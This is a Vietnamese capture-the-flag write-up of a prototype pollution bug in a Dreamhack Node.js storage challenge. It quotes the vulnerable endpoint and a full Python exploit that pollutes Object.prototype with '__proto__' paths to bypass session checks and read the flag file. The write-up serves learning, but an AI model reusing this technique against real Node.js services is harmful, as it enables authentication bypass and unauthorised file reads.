---
# System prepended metadata

title: NSS - Prototype Pollution

---

# NSS - Prototype Pollution

**Description**: The Simple and Secure Node.js Storage Service!


[**Source**](https://sfo2.digitaloceanspaces.com/wargame1/public/89026f3a-f9c4-40fa-94c3-f2fab1cad200.zip?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=OIK4A6AORYFTHBTQUV55%2F20230822%2Fsfo2%2Fs3%2Faws4_request&X-Amz-Date=20230822T140438Z&X-Amz-Expires=86400&X-Amz-SignedHeaders=host&X-Amz-Signature=037f62ab79e264fb198ce0520be3f1a45fdd5279f09ba44b10aef78f83690932)

Lỗ hổng tồn tại ở ```/api/users/:userid/:ws``` endpoint #L78 file.js
```

    app.post("/api/users/:userid/:ws", (req, res) => {
        const userid = req.params.userid || "";
        const ws_name = req.params.ws || "";
        const token = req.body.token || "";
        const f_name = req.body.file_name || "";
        const f_path = req.body.file_path.replace(/\./g,'') || "";
        const f_content = req.body.file_content || "";

        if(!userid || !token)
            return res.status(400).json({ok: false, err: "Invalid id or token"});
        if(!check_session(userid, token))
            return res.status(403).json({ok: false, err: "Failed to validate session"});

        const user = users[userid];
        if(!ws_name)
            return res.status(400).json({ok: false, err: "Invalid workspace name"});

        const workspace = user.workspaces[ws_name];
        if(!workspace)
            return res.status(404).json({ok: false, err: "Failed to find workspace"});

        if(!f_name || !f_path)
            return res.status(400).json({ok: false, err: "Invalid file name or path"});

        if(!write_b64_file(path.join(user.base_dir, f_path), f_content))
            return res.status(500).json({ok: false, err: "Internal server error"});

        workspace[f_name] = f_path;
        return res.status(200).json({ok: true});
    });
```
Nó không có tồn tại một lớp rountine check vậy rõ ràng chúng ta hoàn toàn có thể khai thác prototype poluttion ở đây, câu hỏi bây giờ là how ???. Sau một hồi phân tích thì mình đã tìm ra ý tưởng là 


```
ws_name == "__proto__" => workspace = user.workspaces["__proto__"] == Object.__proto__
workspace[f_name] = f_path => Object.__proto__.f_name = f_path
```
Exploit.py
```

import requests
from base64 import b64decode

URL = "http://host3.dreamhack.games:16710/api"


proto_user = "__proto__"
user = "l1nx1n"
pw = "l1nx1n"
ws = "__proto__"

print(requests.post(URL + "/users", json={"userid":user,"pass":pw}).json())
c = requests.post(URL + "/users/auth", json={"userid":user,"pass":pw}).json()
print(c)
token = c['token']

### users[l1x1n].workspaces["__proto__"].expire = "99999999999999999999999999"
c = requests.post(URL + f"/users/{user}/__proto__", json={"userid":user,"token":token,"file_name":"expire","file_content":"zzlol","file_path":"99999999999999999999999999"}).json() 
print(c)

### users[l1nx1n].workspaces["__proto__"].owner = "__proto__"
c = requests.post(URL + f"/users/{user}/__proto__", json={"userid":user,"token":token,"file_name":"owner","file_content":"zzlol","file_path":"__proto__"}).json()
print(c)

### users[l1nx1n].workspaces["__proto__"].workspaces = "l1nx1n"
c = requests.post(URL + f"/users/{user}/__proto__", json={"userid":user,"token":token,"file_name":"workspaces","file_content":"zzlol","file_path":"l1nx1n"}).json()
print(c)

### users[l1nx1n].workspaces["__proto__"].zzzzzz = "flag"
c = requests.post(URL + f"/users/{user}/__proto__", json={"userid":user,"token":token,"file_name":"zzzzzz","file_content":"zzlol","file_path":"flag"}).json()
print(c)

### users[l1nx1n].workspaces["__proto__"].base_dir = "/usr/src/app"
c = requests.post(URL + f"/users/{user}/__proto__", json={"userid":user,"token":token,"file_name":"base_dir","file_content":"zzlol","file_path":"/usr/src/app"}).json()
print(c)

### get(users.__proto__.base_dir + users.__proto__.workspaces.__proto__.zzzzzz)
### == get("/usr/src/app/flag")
c = requests.get(URL + "/users/__proto__/__proto__/zzzzzz", json={"userid":'__proto__',"token":'__proto__',"ws_name":"123"}).json()
print(c)

print(b64decode(c['file_content']).decode())